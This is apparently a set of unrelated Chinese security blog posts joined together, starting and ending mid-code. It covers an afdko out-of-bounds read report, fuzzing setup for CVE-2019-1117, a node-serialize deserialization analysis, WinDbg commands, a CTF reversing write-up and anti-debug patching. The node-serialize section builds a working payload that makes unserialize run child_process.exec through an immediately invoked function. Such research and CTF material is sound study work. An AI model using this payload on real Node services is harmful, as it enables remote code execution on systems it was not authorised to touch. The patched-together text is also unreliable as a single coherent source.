isxdigit(gname[6]) && !islower(gname[6]) &&
gname[7] == '\0')
/* uni<CODE> name; return hex part */
return (unsigned short)strtol(&gname[3], NULL, 16);
/* return Private Use Area UV */
return (*unrec)++;
}
bsearch
first parameter key
is gname
function bsearch
_extern_inline void *
bsearch (const void *__key, const void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar)
{
size_t __l, __u, __idx;
const void *__p;
int __comparison;
__l = 0;
__u = __nmemb;
while (__l < __u)
{
__idx = (__l + __u) / 2;
__p = (void *) (((const char *) __base) + (__idx * __size));
__comparison = (*__compar) (__key, __p); // do not check __key, then crash
if (__comparison < 0)
__u = __idx;
else if (__comparison > 0)
__l = __idx + 1;
else
return (void *) __p;
}
return NULL;
}
gname
is in structure abfGlyphInfo
, the structure defines inabsfont.h
typedef struct /* Glyph information */
{
short flags; /* Attribute flags */
#define ABF_GLYPH_CID (1 << 0) /* Glyph from CID-keyed font */
#define ABF_GLYPH_SEEN (1 << 1) /* Path data already returned to client */
#define ABF_GLYPH_UNICODE (1 << 2) /* Encoding is Unicode */
#define ABF_GLYPH_LANG_1 (1 << 3) /* Render with LanguageGroup 1 rules */
unsigned short tag; /* Unique tag */
abfString gname; /* Name-keyed: glyph name */ <======
abfEncoding encoding; /* Name-keyed: encoding list */
unsigned short cid; /* CID-keyed: CID */
uint16_t iFD; /* CID-keyed: FD index */
ctlRegion sup; /* Supplementary data */
struct {
unsigned short vsindex;
unsigned short maxstack;
unsigned short numRegions;
float *blendDeltaArgs;
} blendInfo; /* Supplementary data */
} abfGlyphInfo;
The gname
come from otf font file, and all data is in heap. If someone use a specific otf
file, it may cause some security issues with out of bound read.
If necessary, I can send you a proof of concept for this issue.
这篇来分析一下CVE-2019-1117
,问题为stack corruption in OpenType font handling due to out-of-bounds cubeStackDepth
搭建环境,简单复现一下
git clone https://github.com/adobe-type-tools/afdko
cd afdko
git checkout 2.8.8
cd c
bash buildalllinux.sh debug
根据给出的poc
测试
确实是崩了,OOB
pwndbg> p h->cubeStackDepth
$1 = 69
pwndbg> p h->cube[h->cubeStackDepth]
Cannot access memory at address 0x800000000160
再来查看一下调用栈
记住这里出问题的函数,对fuzz
很有用
具体为什么,先不考虑,主要是我们写fuz
z代码,看看能不能找到这个crash
首先可以发现,是tx
在处理otf
文件发生的错误,直接看tx.c
源码,整体代码特别长,直接看main
函数
/* Main program. */
int CTL_CDECL main(int argc, char *argv[]) {
txCtx h;
char *progname;
#if PLAT_MAC
argc = ccommand(&argv);
(void)__reopen(stdin); /* Change stdin to binary mode */
#endif /* PLAT_MAC */
#if PLAT_WIN
/* The Microsoft standard C-Library opens stderr in buffered mode in
contravention of the C standard. The following code establishes the
correct unbuffered mode */
(void)setvbuf(stderr, NULL, _IONBF, 0);
#endif /* PLAT_WIN */
/* Get program name */
progname = tail(argv[0]);
--argc;
++argv;
/* Allocate program context */
h = malloc(sizeof(struct txCtx_));
if (h == NULL) {
fprintf(stderr, "%s: out of memory\n", progname);
return EXIT_FAILURE;
}
memset(h, 0, sizeof(struct txCtx_));
h->app = APP_TX;
h->appSpecificInfo = NULL; /* unused in tx.c, used in rotateFont.c & mergeFonts.c */
h->appSpecificFree = txFree;
txNew(h, progname);
if (argc > 1 && getOptionIndex(argv[argc - 2]) == opt_s) {
/* Option list ends with script option */
int i;
/* Copy args preceeding -s */
for (i = 0; i < argc - 2; i++)
*dnaNEXT(h->script.args) = argv[i];
/* Add args from script file */
addArgs(h, argv[argc - 1]);
parseArgs(h, (int)h->script.args.cnt, h->script.args.array);
} else
parseArgs(h, argc, argv);
if (h->failmem.iFail == FAIL_REPORT) {
fflush(stdout);
fprintf(stderr, "mem_manage() called %ld times in this run.\n",
h->failmem.iCall);
}
txFree(h);
return 0;
}
看到这个代码其实就很开心了,这种可以直接fuzz
了,基本都不用改啥了。
但是为了提高我们的fuzz
效率,并且重现1117
的这个漏洞,更改一下代码,让我们的代码只分析otf
文件
/* Main program. */
int CTL_CDECL main(int argc, char *argv[]) {
txCtx h;
char *progname;
/* Get program name */
progname = tail(argv[0]);
--argc;
++argv;
/* Allocate program context */
h = malloc(sizeof(struct txCtx_));
if (h == NULL) {
fprintf(stderr, "%s: out of memory\n", progname);
return EXIT_FAILURE;
}
memset(h, 0, sizeof(struct txCtx_));
h->app = APP_TX;
h->appSpecificInfo = NULL; /* unused in tx.c, used in rotateFont.c & mergeFonts.c */
h->appSpecificFree = txFree;
txNew(h, progname);
h->t1r.flags = 0; /* I initialize these here,as I need to set the std Encoding flags before calling setMode. */
h->cfr.flags = 0;
h->cfw.flags = 0;
h->dcf.flags = DCF_AllTables | DCF_BreakFlowed;
h->dcf.level = 5;
h->svr.flags = 0;
h->ufr.flags = 0;
h->ufow.flags = 0;
h->t1w.options = 0;
// 设置cff模式
setMode(h, mode_cff);
// argv[1] 文件名,对应上面argv--
doSingleFileSet(h, argv[0]);
if (h->failmem.iFail == FAIL_REPORT) {
fflush(stdout);
fprintf(stderr, "mem_manage() called %ld times in this run.\n",
h->failmem.iCall);
}
txFree(h);
return 0;
}
建立一个patch
文件,方便以后直接patch
diff ./afdko/c/tx/source/tx.c target.cc > target.patch
之后具体的操作build.sh
#!/bin/bash
# clean up
if [ -e ./tx_fuzzer ]; then
rm -f ./tx_fuzzer
fi
# install requirements
apt install -y git make clang
install afl
if [ -d ./afl/ ]; then
git clone https://github.com/mirrorer/afl && cd afl && make && make install && cd ..
fi
# install honggfuzz
if [ ! -e /usr/local/bin/hfuzz-cc ]; then
git clone https://github.com/google/honggfuzz
cd honggfuzz && apt install gcc git make pkg-config libipt-dev libunwind8-dev binutils-dev && \
make install && cd ..
fi
# create output_corps directory
if [ ! -d ./output_corpus/ ]; then
mkdir ./output_corpus
fi
# afdko exists or not
if [ ! -d ./afdko/c/ ]; then
git clone https://github.com/adobe-type-tools/afdko && cd afdko && git checkout 2.8.8 && cd ..
fi
# patch files
if [ -e ./target.patch ]; then
patch afdko/c/tx/source/tx.c target.patch
fi
# make tx file
if [ -d ./afdko/c/tx/build/linux/gcc/debug ]; then
cd ./afdko/c/tx/build/linux/gcc/debug && CC=hfuzz-clang make
cd ../../../../../../../
cp ./afdko/c/tx/exe/linux/debug/tx ./tx_fuzzer
fi
if [ -e ./tx_fuzzer ]; then
echo "[+] build tx_fuzzer success!"
else
echo "[-] build tx_fuzzer failed!"
fi
如果利用honggfuzz
honggfuzz -f input_corps -W output_corpus -- ./tx_fuzzer ___FILE___
如果是afl
screen -S txfuzz1 afl-fuzz -i input_corps/ -o output_corps/ -M tx_fuzz1 -- ./tx_fuzzer @@
screen -S txfuzz2 afl-fuzz -i input_corps/ -o output_corps/ -S tx_fuzz2 -- ./tx_fuzzer @@
最后来看一下效果
honggfuzz
效果
afl
效果
目前使用个人办公机器的一半cpu
来跑afl
,自己的单核小机场来跑honggfuzz
,就目前来看都出了很多的crashes
,等跑一段时间再来看看哪个效果比较好吧,没准能够发现PJ0
没有提交的洞:)
首先看这个node-serialize库,其中实现反序列化的代码
unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;
var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}
if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};
其中var FUNCFLAG = '_$$ND_FUNC$$_';
可以看出代码中使用了eval
执行代码,再深入看一下能够执行形成的条件。
string
_$$ND_FUNC$$_
开头,即FUNCFLAG
首先测试函数序列化后,其类型是否为string
,根据上面给出的源码,序列化后的数据需要JSON.parse
之后再判断类型,再其给出的测试代码文件中,写入如下代码
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);
if (typeof json_data['func'] === 'string') {
console.log("string type!");
} else {
console.log("other type!");
}
测试一下
所以我们提交的数据反序列化后成功的到达eval
的括号中,再来测试eval
是否能够真正的执行。测试代码如下
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);
console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + ')');
执行一下
可以发现eval
中的函数并没有执行,根据javascript的立即执行函数表达式(IIFE),我们在最后eval
加一对括号试试
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);
console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + '())');
测试一下
发现代码已经成功执行,在这个测试过程中,没有直接使用unserialize
,而是根据其代码直接构造出了POC
,现在先用serialize
得到数据,再用unserialize
执行代码试试。这里有一点需要注意,我们在序列化前不能直接将func
利用IIFE的形式写,因为这样的话,在序列化前函数已经执行,导致序列化失败,也就无法得到序列化数据了
测试代码
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}()}; //注意看这里末尾有一对括号!造成IIFE!
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);
先直接测试序列化IIFE的函数
可以看到序列化直接失败,输出数据为空。
再来序列化非IIFE数据
require('should');
var serialize = require('..');
var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}}; //这里没有括号
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);
序列化成功
利用序列化的字符串末尾加上一对括号,造成在反序列化时的IIFE,并且需要注意转义反斜杠,具体看代码
require('should');
var serialize = require('..');
//var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
//var serialize_data = serialize.serialize(req_data);
//console.log(serialize_data);
var data = '{"func":"_$$ND_FUNC$$_function (){require(\\"child_process\\").exec(\\"ls /\\", function(error, stdout, stderr){console.log(stdout);});}()"}'; // 末尾有括号,而且转义了斜杠
console.log(data);
var unserialize_data = serialize.unserialize(data);
console.log(unserialize_data);
测试如下
##k
**k***命令显示给定线程的调用堆栈,以及其他相关信息
~0 k表示打印0号线程的调用堆栈,直接用k表示打印当前线程的调用堆栈
r register 查看寄存器值
kb 显示传递给堆栈回溯中的每个函数的前三个参数
kp 显示传递给堆栈回溯中的每个函数的所有参数
0:000:x86> kb
ChildEBP RetAddr Args to Child
0015fce4 010e1415 00000012 00000034 00000056 test1!Add+0x1e [f:\test1\test1\test1.cpp @ 7]
0:000:x86> kp
ChildEBP RetAddr
0015fce4 010e1415 test1!Add(int a = 0n18, int b = 0n52, int c = 0n86, int d = 0n120, int e = 0n154, int f = 0n188)+0x1e [f:\test1\test1\test1.cpp @ 7]
0:000:x86> kP
ChildEBP RetAddr
0015fce4 010e1415 test1!Add(
int a = 0n18,
int b = 0n52,
int c = 0n86,
int d = 0n120,
int e = 0n154,
int f = 0n188)+0x1e [f:\test1\test1\test1.cpp @ 7]
0:000:x86> kv
ChildEBP RetAddr Args to Child
0015fce4 010e1415 00000012 00000034 00000056 test1!Add+0x1e (FPO: [Non-Fpo]) (CONV: cdecl) [f:\test1\test1\test1.cpp @ 7]
**u **命令显示指定的内存中的程序代码的反汇编。 如果要反汇编某一个地址,直接用u 命令加地址
0:002> u 77d2929a
USER32!SendMessageW:
77d2929a 8bff mov edi,edi
77d2929c 55 push ebp
77d2929d 8bec mov ebp,esp
77d2929f 56 push esi
77d292a0 8b750c mov esi,dword ptr [ebp+0Ch]
77d292a3 f7c60000feff test esi,0FFFE0000h
77d292a9 0f85be800100 jne USER32!SendMessageW+0x11 (77d4136d)
77d292af 8b4d08 mov ecx,dword ptr [ebp+8]
如果存在符号文件,也可以这样直接加函数名:
0:002> u user32!SendMessagew
USER32!SendMessageW:
77d2929a 8bff mov edi,edi
77d2929c 55 push ebp
77d2929d 8bec mov ebp,esp
77d2929f 56 push esi
77d292a0 8b750c mov esi,dword ptr [ebp+0Ch]
77d292a3 f7c60000feff test esi,0FFFE0000h
77d292a9 0f85be800100 jne USER32!SendMessageW+0x11 (77d4136d)
77d292af 8b4d08 mov ecx,dword ptr [ebp+8]
**uf **命令显示内存中指定函数的反汇编代码,前提是需要符号文件
x命令显示所有上下文中匹配指定模板的符号。可用字符通配符
> x user32!send*
77d53948 USER32!SendNotifyMessageA = <no type information>
77d2fb6b USER32!SendMessageTimeoutA = <no type information>
77d6b88f USER32!SendOpenStatusNotify = <no type information>
77d6b49e USER32!SendIMEMessageExA = <no type information>
77d2d64f USER32!SendNotifyMessageW = <no type information>
77d2cdaa USER32!SendMessageTimeoutW = <no type information>
77d65b26 USER32!SendHelpMessage = <no type information>
77d6b823 USER32!SendMessageToUI = <no type information>
77d6b48d USER32!SendIMEMessageExW = <no type information>
77d2cd08 USER32!SendMessageTimeoutWorker = <no type information>
77d203fc USER32!SendRegisterMessageToClass = <no type information>
77d3c2e7 USER32!SendDlgItemMessageA = <no type information>
77d2d6db USER32!SendMessageCallbackW = <no type information>
77d6b129 USER32!SendMessageCallbackA = <no type information>
77d273cc USER32!SendDlgItemMessageW = <no type information>
77d61930 USER32!SendWinHelpMessage = <no type information>
77d291b3 USER32!SendMessageWorker = <no type information>
77d2929a USER32!SendMessageW = <no type information>
77d2f3c2 USER32!SendMessageA = <no type information>
x还有个作用,在函数断下来后输入x,会自动打印出当前的局部变量,可以配合.frame使用
0:000:x86> kn
# ChildEBP RetAddr
00 0039fd18 010e19a8 test1!wmain+0x1e [f:\test1\test1\test1.cpp @ 12]
01 0039fd68 010e17ef test1!__tmainCRTStartup+0x1a8 [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 583]
0:000:x86> x
0039fd20 argc = 0n1
0039fd24 argv = 0x00033438
0039fd10 c = 0n-858993460
ChildEBP指的是当前堆栈运行时的ebp值
RetAddr指当前堆栈中函数退出时的下个EIP的值
dt 命令显示局部变量、全局变量或数据类型的信息
测试显示一下数据类型:
0:000> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
+0x020 AtlThunkSListPtr : Ptr32 _SLIST_HEADER
+0x024 IFEOKey : Ptr32 Void
+0x028 CrossProcessFlags : Uint4B
通配出所有的结构名称:
0:000> dt ntdll!_peb*
ntdll!_PEB
ntdll!_PEB_LDR_DATA
ntdll!_PEBS_DS_SAVE_AREA
ntdll!_PEB32
d*命令显示给定范围内存的内容
d, da, db, dc, dd, dD, df, dp, dq, du, dw, dW, dyb, dyd (Display Memory)
如果省略掉Range ,命令将会从上一条内存查看命令结束的位置开始。这使得可以连续的进行内存查看。
d这种显示的格式和最近一次d命令的格式相同。如果之前没有使用过d命令,d 和db 的效果相同。
da:ASCII 字符每行最多48个字符。显示一直继续直到遇到第一个null字节或者到达range 值指定的所有字符都已经显示。所有不可打印字符,如回车和换行都被显示为点号(.)。
dd和dc的区别
0:000> dd
0019fc3c 00000000 00000000 00000000 00000000
0019fc4c 00000200 00000000 00000000 00000000
0019fc5c 00000200 00000000 00000000 00000000
0019fc6c 00000200 00000000 00000000 00000000
0019fc7c 00000200 00000000 00000000 00000000
0019fc8c 301d5dce 0019fa70 00010000 0019fcf0
0019fc9c 77109fd0 471c5f2e fffffffe 0019fd00
0019fcac 770e8a42 301d5c66 00000000 00000000
0:000> dc
0019fcbc 003dc000 00000000 771ad000 00030000 ..=........w....
0019fccc 00000004 77090000 00000000 0019fd24 .......w....$...
0019fcdc 003df000 003dc000 00000000 0019fcb0 ..=...=.........
0019fcec 00000000 ffffffff 77109fd0 471c5f4e ...........wN_.G
0019fcfc 00000000 0019fd10 770e886c 00000000 ........l..w....
0019fd0c bb591b5e 00000000 00000000 0019fd24 ^.Y.........$...
0019fd1c 77090000 00000000 0001003f 00000000 ...w....?.......
0019fd2c 00000000 00000000 00000000 00000000 ................
dh(display header)显示文件头信息
> !dh -f ntdll
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
7 number of sections
802F667E time date stamp
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
.....
本题主要知识:
查找到过程函数之后,程序的整体功能
解密过程可以使用如下python伪码表示
key1 = base54_decode(base64_decode(input_string))
key2 = morse_decode(key1)
key3 = sm3_hash(key1)
key3_len = len(key3)
if key3[key3_len-64:key3_len] == input_string[0:64]:
if key2_throght_maze:
print 'success...'
一步一步分析每个功能函数:
ida pro 伪代码
signed int __cdecl sub_434990(int a1, unsigned int a2, int a3)// base64_decode
{
signed int result; // eax
unsigned int v4; // [esp+E0h] [ebp-2Ch]
int v5; // [esp+F8h] [ebp-14h]
unsigned int i; // [esp+104h] [ebp-8h]
v5 = 0;
for ( i = 0; i < a2; ++i )
{
if ( *(_BYTE *)(i + a1) == 61 )
return 0;
if ( *(char *)(i + a1) < 43 )
return 1;
if ( *(char *)(i + a1) > 122 )
return 1;
v4 = byte_48B0FD[*(char *)(i + a1)]; //整形数据表,将字符串转化为整形数据
if ( v4 == -1 )
return 1;
switch ( i % 4 )
{
case 0u:
*(_BYTE *)(v5 + a3) = 4 * v4;
if ( (unsigned __int8)sub_42D681() == 5 )
sub_42E086(0);
if ( (unsigned __int8)sub_42E26B() == 5 )
sub_42E086(0);
if ( (unsigned __int8)sub_42D7F8() == 5 )
sub_42E086(0);
return result;
case 1u:
*(_BYTE *)(v5++ + a3) += (v4 >> 4) & 3;
if ( i < a2 - 3 || *(_BYTE *)(a2 + a1 - 2) != 61 )
*(_BYTE *)(v5 + a3) = 16 * (v4 & 0xF);
break;
case 2u:
*(_BYTE *)(v5++ + a3) += (v4 >> 2) & 0xF;
if ( (unsigned __int8)sub_42E26B() == 5 )
sub_42E086(0);
if ( (unsigned __int8)sub_42D7F8() == 5 )
sub_42E086(0);
if ( i < a2 - 2 || *(_BYTE *)(a2 + a1 - 1) != 61 )
*(_BYTE *)(v5 + a3) = (v4 & 3) << 6;
break;
case 3u:
*(_BYTE *)(v5++ + a3) += v4;
break;
default:
continue;
}
}
return 0;
}
这里ida在解析过程中,出现了明显的错误,只是出现一次就直接break,出现这种情况主要是在汇编代码中出现了两次跳转,第二次跳转继续循环,但ida不再跟随第二次跳转,也就当作是该循环结束了,ida经常会出现这样的问题,应当留意!
为了方便加解密,base64加密会出现一个字符串的表,base64解密会出现一个整形数组的表,具体可以看其c代码
unsigned char b64_chr[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
unsigned int b64_int(unsigned int ch) {
// ASCII to base64_int
// 65-90 Upper Case >> 0-25
// 97-122 Lower Case >> 26-51
// 48-57 Numbers >> 52-61
// 43 Plus (+) >> 62
// 47 Slash (/) >> 63
// 61 Equal (=) >> 64~
if (ch==43)
return 62;
if (ch==47)
return 63;
if (ch==61)
return 64;
if ((ch>47) && (ch<58))
return ch + 4;
if ((ch>64) && (ch<91))
return ch - 'A';
if ((ch>96) && (ch<123))
return (ch - 'a') + 26;
return 0;
}
unsigned int b64e_size(unsigned int in_size) {
// size equals 4*floor((1/3)*(in_size+2));
int i, j = 0;
for (i=0;i<in_size;i++) {
if (i % 3 == 0)
j += 1;
}
return (4*j);
}
unsigned int b64d_size(unsigned int in_size) {
return ((3*in_size)/4);
}
unsigned int b64_encode(const unsigned int* in, unsigned int in_len, unsigned char* out) {
unsigned int i=0, j=0, k=0, s[3];
for (i=0;i<in_len;i++) {
s[j++]=*(in+i);
if (j==3) {
out[k+0] = b64_chr[ s[0]>>2 ];
out[k+1] = b64_chr[ ((s[0]&0x03)<<4)+((s[1]&0xF0)>>4) ];
out[k+2] = b64_chr[ ((s[1]&0x0F)<<2)+((s[2]&0xC0)>>6) ];
out[k+3] = b64_chr[ s[2]&0x3F ];
j=0; k+=4;
}
}
if (j) {
if (j==1)
s[1] = 0;
out[k+0] = b64_chr[ s[0]>>2 ];
out[k+1] = b64_chr[ ((s[0]&0x03)<<4)+((s[1]&0xF0)>>4) ];
if (j==2)
out[k+2] = b64_chr[ ((s[1]&0x0F)<<2) ];
else
out[k+2] = '=';
out[k+3] = '=';
k+=4;
}
out[k] = '\0';
return k;
}
unsigned int b64_decode(const unsigned char* in, unsigned int in_len, unsigned int* out) {
unsigned int i=0, j=0, k=0, s[4];
for (i=0;i<in_len;i++) {
s[j++]=b64_int(*(in+i));
if (j==4) {
out[k+0] = (s[0]<<2)+((s[1]&0x30)>>4);
if (s[2]!=64) {
out[k+1] = ((s[1]&0x0F)<<4)+((s[2]&0x3C)>>2);
if ((s[3]!=64)) {
out[k+2] = ((s[2]&0x03)<<6)+(s[3]); k+=3;
} else {
k+=2;
}
} else {
k+=1;
}
j=0;
}
}
return k;
}
由ida可以得到morse的解码表,分别分为4字节,5字节和8字节
4字节
5字节
8字节
根据伪代码,利用idapython将morse表打出来
def get_table_4bytes():
start_addr = 0x49B2A0
table = {}
for i in xrange(26):
table[chr(i+97)] = ''
for j in xrange(4):
addr = start_addr + j + 4 * i
table[chr(i+97)] += chr(Byte(addr))
print table
def get_table_5bytes():
start_addr = 0x49B1E0
table = {}
for i in xrange(10):
table[chr(i+48)] = ''
for j in xrange(5):
addr = start_addr + j + i * 5
table[chr(i+48)] += chr(Byte(addr))
print table
def get_table_8bytes():
other_table_start = 0x49B21F
start_addr = 0x49B218
table = {}
for i in xrange(17):
table_index = chr(Byte(other_table_start + 8 * i))
table[table_index] = ''
for j in xrange(8):
addr = start_addr + j + i * 8
table[table_index] += chr(Byte(addr))
print table
if __name__ == '__main__':
get_table_4bytes()
get_table_5bytes()
get_table_8bytes()
morse解码表
{'a': '.-**', 'c': '-.-.', 'b': '-...', 'e': '.***', 'd': '-..*', 'g': '--.*', 'f': '..-.', 'i': '..**', 'h': '....', 'k': '-.-*', 'j': '.---', 'm': '--**', 'l': '.-..', 'o': '---*', 'n': '-.**', 'q': '--.-', 'p': '.--.', 's': '...*', 'r': '.-.*', 'u': '..-*', 't': '-***', 'w': '.--*', 'v': '...-', 'y': '-.--', 'x': '-..-', 'z': '--..'}
{'1': '.----', '0': '-----', '3': '...--', '2': '..---', '5': '.....', '4': '....-', '7': '--...', '6': '-....', '9': '----.', '8': '---..'}
{'!': '-.-.--*!', '@': '.--.-.*@', '"': '.-..-.*"', '$': '...-..-$', "'": ".----.*'", '&': '.-...**&', ')': '-.--.-*)', '(': '-.--.**(', '-': '-....-*-', ',': '--..--*,', '/': '-..-.**/', '.': '.-.-.-*.', '_': '..--.-*_', ';': '-.-.-.*;', ':': '---...*:', '=': '-...-**=', '?': '..--..*?'}
这里只能得到morse密码表用于后续的处理,要想正面直接过morse解密,还是很困难的,该函数里面一方面有过多的反调试,调试了几天就这一个函数都没有过去,只能放弃,另一方面,没有很好的事先编码的数据,直接调用该函数也会出现很多莫名其妙的错误,最后实在没办法就放弃了直接正面解决该函数,由后向前逆向解决这道题
反汇编代码过于复杂,只能根据SM3
中固定有的一些变量找到属于该函数的常量,并做了测试,确定该函数就是SM3
。
由于morse
解码太难绕过反调试,那只能绕过该函数,相关的odbgscript
代码,其中字符串经过两次base64加密
bp 43507c
run
mov tmp, ebp-828
mov [tmp], "YzJ4a1ptcHJiR3BzYW14S1RHcHNhMHBNUzBwRWJHdG1hbXhMU2t0TVNrWk1TMFJLYVhWcGIzVjNhVzlsWTNaNFMyOTNaWEoxYjJ4cWJHMXViWE5rWmpBNGVHTjJPREE0ZDNkdWVHOTJhVzVtYm5ONFpIQnZabWw0YTJ4amFuWnNhMnB6Y0dsbWNHOXpjMnhrWm1wc2QyVnpibVJoYVhSdllYZHVZV2Q0YVc1cGFYaHZZWE5wWm1wcmJtbHVhV1J2Ym1ka1pXSjFlbWhwWkdGdllRPT0="
bp 4350f9
run
bp 435133
mov eip, 435114
run
结果对比
利用该网站进行SM3
加密
可以看到,这里使用的是SM3
加密,并且出现的结果并不是以字符串的形式出现的,而是每个字节存储转换后的两位!这种思路以后应该会经常看到!
直接用idapython解决迷宫问题
def get_maze():
start = int('0x49b000', 16)
i = 0
cur = start
maze = ''
for i in xrange(10):
for j in xrange(10):
curr = start + i * 40 + j * 4
s = Dword(curr)
if s == 1:
maze += '1'
elif s == 0:
maze += '0'
return maze
path = [ '' for i in xrange(1000) ]
path_len = 0
def valid(maze, x, y):
if x < 10 and y < 10 and maze[x][y] == '0':
return True
else:
return False
def walk(maze, x, y, i, sign):
global path_len
if valid(maze,x,y):
maze[x][y]='2'
path[i] = sign
i += 1
if x == 3 and y == 8:
path_len = i
return True
if x-1>0 and not walk(maze,x-1,y,i,'q'):
maze[x-1][y]='0'
i -= 1
elif y-1>0 and not walk(maze,x,y-1,i,'p'):
maze[x][y-1]='0'
i -= 1
elif x+1<10 and not walk(maze,x+1,y,i,'z'):
maze[x+1][y]='0'
i -= 1
elif y+1<10 and not walk(maze,x,y+1,i, 'l'):
maze[x][y+1]='0'
i -= 1
else:
return False
return True
def decode_maze():
raw_maze = get_maze()
global path_len
maze = [ list(raw_maze[(i-1)*10:i*10]) for i in xrange(1, 11) ]
walk(maze, 0, 0, path_len, '')
可以得到解zlzllllzzzppqppzzzlllzlllzllqqpqpqqql
,这只是一种解法,根据迷宫图能看出来,是有多解的!
迷宫图:
0111111110
0011111000
1000001011
1111101001
1000101001
1010001011
1011111001
1000011100
1111000010
1111111000
上面已经把最主要的几个函数都解析出来了,但是感觉从正面我目前还是解决不了这个问题,只能从后往前推,首先解决最简单的部分--迷宫,上面可以用idapython打出迷宫的解,之后利用morse
加密,再利用base64加密两次,这样就可以得到答案了,这里直接给出得到答案的idapython
代码
import base64
def get_maze():
start = int('0x49b000', 16)
i = 0
cur = start
maze = ''
for i in xrange(10):
for j in xrange(10):
curr = start + i * 40 + j * 4
s = Dword(curr)
if s == 1:
maze += '1'
elif s == 0:
maze += '0'
return maze
path = [ '' for i in xrange(1000) ]
path_len = 0
def valid(maze, x, y):
if x < 10 and y < 10 and maze[x][y] == '0':
return True
else:
return False
def walk(maze, x, y, i, sign):
global path_len
if valid(maze,x,y):
maze[x][y]='2'
path[i] = sign
i += 1
if x == 3 and y == 8:
path_len = i
return True
if x-1>0 and not walk(maze,x-1,y,i,'q'):
maze[x-1][y]='0'
i -= 1
elif y-1>0 and not walk(maze,x,y-1,i,'p'):
maze[x][y-1]='0'
i -= 1
elif x+1<10 and not walk(maze,x+1,y,i,'z'):
maze[x+1][y]='0'
i -= 1
elif y+1<10 and not walk(maze,x,y+1,i, 'l'):
maze[x][y+1]='0'
i -= 1
else:
return False
return True
def decode_maze():
raw_maze = get_maze()
global path_len
maze = [ list(raw_maze[(i-1)*10:i*10]) for i in xrange(1, 11) ]
walk(maze, 0, 0, path_len, '')
table = {}
def get_table_4bytes():
start_addr = 0x49B2A0
for i in xrange(26):
table[chr(i+97)] = ''
for j in xrange(4):
addr = start_addr + j + 4 * i
table[chr(i+97)] += chr(Byte(addr))
def get_table_5bytes():
start_addr = 0x49B1E0
for i in xrange(10):
table[chr(i+48)] = ''
for j in xrange(5):
addr = start_addr + j + i * 5
table[chr(i+48)] += chr(Byte(addr))
def get_table_8bytes():
other_table_start = 0x49B21F
start_addr = 0x49B218
for i in xrange(17):
table_index = chr(Byte(other_table_start + 8 * i))
table[table_index] = ''
for j in xrange(8):
addr = start_addr + j + i * 8
table[table_index] += chr(Byte(addr))
if __name__ == "__main__":
get_table_4bytes()
get_table_5bytes()
get_table_8bytes()
decode_maze()
k = 1
path_final = ''
for i in xrange(1000):
if path[i] and k < path_len:
path_final += path[i]
k += 1
base64_string = ''
for i in path_final:
base64_string += table[i]
print base64_string
tmp = base64.b64encode(base64_string)
input_string = base64.b64encode(tmp)
print input_string
在绕过反调试的过程中,很多情况下是可以直接更改反调试函数的,更改反调试函数有几种方法
API
名称,直接使调用API
函数失败pefile
更改反调试函数,使其不运行到具体的检测代码就提前返回上面这些方法能够使用的前提是,在反调试起作用的函数中,没有涉及到具体的程序加解密之类的功能实现
def change_pe(exefile, filename):
pe = pefile.PE(exefile)
